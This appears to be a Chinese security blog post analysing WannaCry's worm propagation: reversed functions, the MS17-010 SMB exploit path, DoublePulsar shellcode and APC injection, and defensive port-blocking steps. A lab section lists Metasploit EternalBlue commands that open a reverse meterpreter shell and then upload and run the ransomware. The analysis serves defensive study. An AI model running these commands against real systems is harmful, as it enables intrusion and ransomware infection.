[系统安全] 三十.WannaCry勒索病毒分析 (4)全网“最”详细的蠕虫传播机制解读
前文分享了深信服老师的《外部威胁防护和勒索病毒对抗》,带领大家看看知名安全厂商的威胁防护措施。这篇文章将详细讲解WannaCry蠕虫的传播机制,带领大家详细阅读源代码,分享WannaCry勒索病毒是如何传播感染的。希望文章对您有所帮助~
主程序文件利用漏洞传播蠕虫,运行WannaCry勒索程序
WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
@WanaDecryptor@.exe显示勒索信息,运行TOR客户端
文章目录:
一.WannaCry背景
二.WannaCry传播机制源码详解
1.WannaCry蠕虫传播流程
2.程序入口Start
3.域名开关WinMain
4.参数判断sub_408090
5.蠕虫安装流程sub_407F20
6.蠕虫服务传播流程sub_4080000
7.蠕虫初始化操作sub_407B90
8.局域网传播sub_407720
9.公网传播sub_407840
10.漏洞检测及创建通信连接sub_407540
11.发送SMB数据包sub_4072A0
12.获取Payload(dll+shellcode)
13.提取shellcode
14.shellcode分析之安装后门
15.shellcode分析之APC注入
16.dll导出及分析
17.释放资源tasksche.exe
18.勒索行为
三.WannaCry实验复现
1.实验环境搭建
2.Kali利用MS17-010反弹Shell
四.防御措施
五.总结
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~推荐前文:网络安全自学篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.htm
作者的github资源:
逆向分析:
https://github.com/eastmountyxz/
SystemSecurity-ReverseAnalysis
网络安全:
https://github.com/eastmountyxz/
NetworkSecuritySelf-study
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
一.WannaCry背景
传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。
二.WannaCry传播机制详解
1.WannaCry蠕虫传播流程
作者的分析工具主要是IDA Pro静态分析和OllyDbg动态调试,大家分析恶意样本一定在虚拟机中,并做好相关安全保护(如断网、物理隔离、共享协议端口关闭等)。
2.程序入口Start
3.域名开关WinMain
如果该域名连接成功,则直接退出且不触发任何恶意行为
如果该域名无法访问,则触发传播勒索行为,执行sub_408090函数
4.参数判断sub_408090
sub_407F20函数
当参数<2,进入蠕虫安装流程
sub_408000函数
当参数≥2,进入蠕虫服务传播流程并创建mssecsvc2.0服务
5.蠕虫安装流程sub_407F20
6.蠕虫服务传播流程sub_4080000
RegisterServerCtrlHandlerA
SetServiceStatus
初始化操作
局域网传播
公网传播
7.蠕虫初始化操作sub_407B90
WSAStartup:初始化网络
sub_407620:初始化密码
sub_407A20:获取Payload
8.局域网传播sub_407720
result = sub_407B90
v1 = (void *)beginthreadex(0, 0, sub_407720, 0, 0, 0)
v3 = (void *)beginthreadex(0,0, sub_407840, v2, 0, 0)
核心函数:sub_4076B0
核心函数:sub_407540
9.公网传播sub_407840
10.漏洞检测及创建通信连接sub_407540
第一步:检测目标是否可以安装双星脉冲DOUBLEPULSAR(端口445)如果需要,后续可以分享一篇永恒之蓝和双星脉冲相关知识。
第二步:利用MS17-010漏洞,尝试建立通信连接并发送漏洞利用程序数据包
通过connet建立Socket通信连接,再调用send和recv进行数据包握手确认。最后会调用核心函数sub_406F50。
11.发送SMB数据包sub_4072A0
12.获取Payload(dll+shellcode)
核心函数:sub_406F50(发送Payload)
32位shellcode起始地址0x42E758
64位shellcode起始地址0x42FA60
32位dll起始地址0x40B020,大小为0x4060字节
64位dll起始地址0x40F080,大小为0xc8a4字节
32位shellcode起始地址0x42E758,大小为0x1305字节
64位shellcode起始地址0x42FA60,大小为0x1800字节
13.提取shellcode
14.shellcode分析之安装后门
第一部分:安装后门
第二部分:利用安装的后门,APC向应用程序注入dll
15.shellcode分析之APC注入
16.dll导出及分析
17.释放资源tasksche.exe
sub_180001014:释放资源
sub_1800010F8:运行文件
18.勒索行为
四.WannaCry实验复现
1.实验环境搭建
攻击机:
Kali-linux-2019.2 IP:192.168.44.138
受害主机:
Win7 64位 IP:192.168.44.147
metasploit
MS17-010
Wcry.exe
配置Windows Server 2003、Kali、Windows7实验环境
Kali检测受害主机445端口(SMB协议)是否开启
运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
上传勒索病毒wcry.exe并运行
实现勒索和文件加密
2.Kali利用MS17-010反弹Shell
nmap -sS 192.168.44.147
msfconsole
search ms17-010
use exploit/windows/smb/
ms17_010_eternalblue
利用永恒之蓝漏洞
set payload windows/x64/
meterpreter/reverse_tcp
设置payload
set LHOST 192.168.44.138
设置本机IP地址
set RHOSTS 192.168.44.147
设置受害主机IP
set RPORT 445
设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
exploit
利用漏洞
getuid
返回系统管理员权限pwd、ls
查看当前路径及目录
shell
upload /root/wcry.exe c:\
b.wnry: 中招敲诈者后桌面壁纸
c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
f.wnry: 可免支付解密的文件列表
r.wnry: 提示文件,包含中招提示信息
s.wnry: zip文件,包含Tor客户端
t.wnry: 测试文件
u.wnry: 解密程序
四.防御措施
开启系统防火墙
关闭445、139等端口连接
开启系统自动更新,下载并更新补丁,及时修复漏洞
安装安全软件,开启主动防御拦截查杀
如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等
控制面板–>windows防火墙—>高级选项–>入站规则
新建规则–>选择端口–>指定端口号445
选择阻止连接–>配置文件全选–>规则名称–>成功关闭
五.总结
WannaCry蠕虫传播流程
程序入口Start
域名开关WinMain
参数判断sub_408090
蠕虫安装流程sub_407F20
蠕虫服务传播流程sub_4080000
蠕虫初始化操作sub_407B90
局域网传播sub_407720
公网传播sub_407840
漏洞检测及创建通信连接sub_407540
发送SMB数据包sub_4072A0
获取Payload(dll+shellcode)
提取shellcode
shellcode分析之安装后门
shellcode分析之APC注入
dll导出及分析
释放资源tasksche.exe
勒索行为
原文地址:
https://blog.csdn.net/Eastmount/article/details/114649732
这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
前文回顾(下面的超链接可以点击喔):
[系统安全] 三十.WannaCry勒索病毒分析 (4)全网“最“详细的蠕虫传播机制解读
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。2021年继续加油!
晚安女神,爱你和小宝❤
(By:Eastmount 2021-07-30 夜于武汉)
参考文献
为了更好帮助读者,作者将参考文献提前。下面给出下各大安全厂商及安全大佬对WannaCry蠕虫分析的文章,强烈推荐大家阅读,作者也吸取了它们的精华,在此感谢。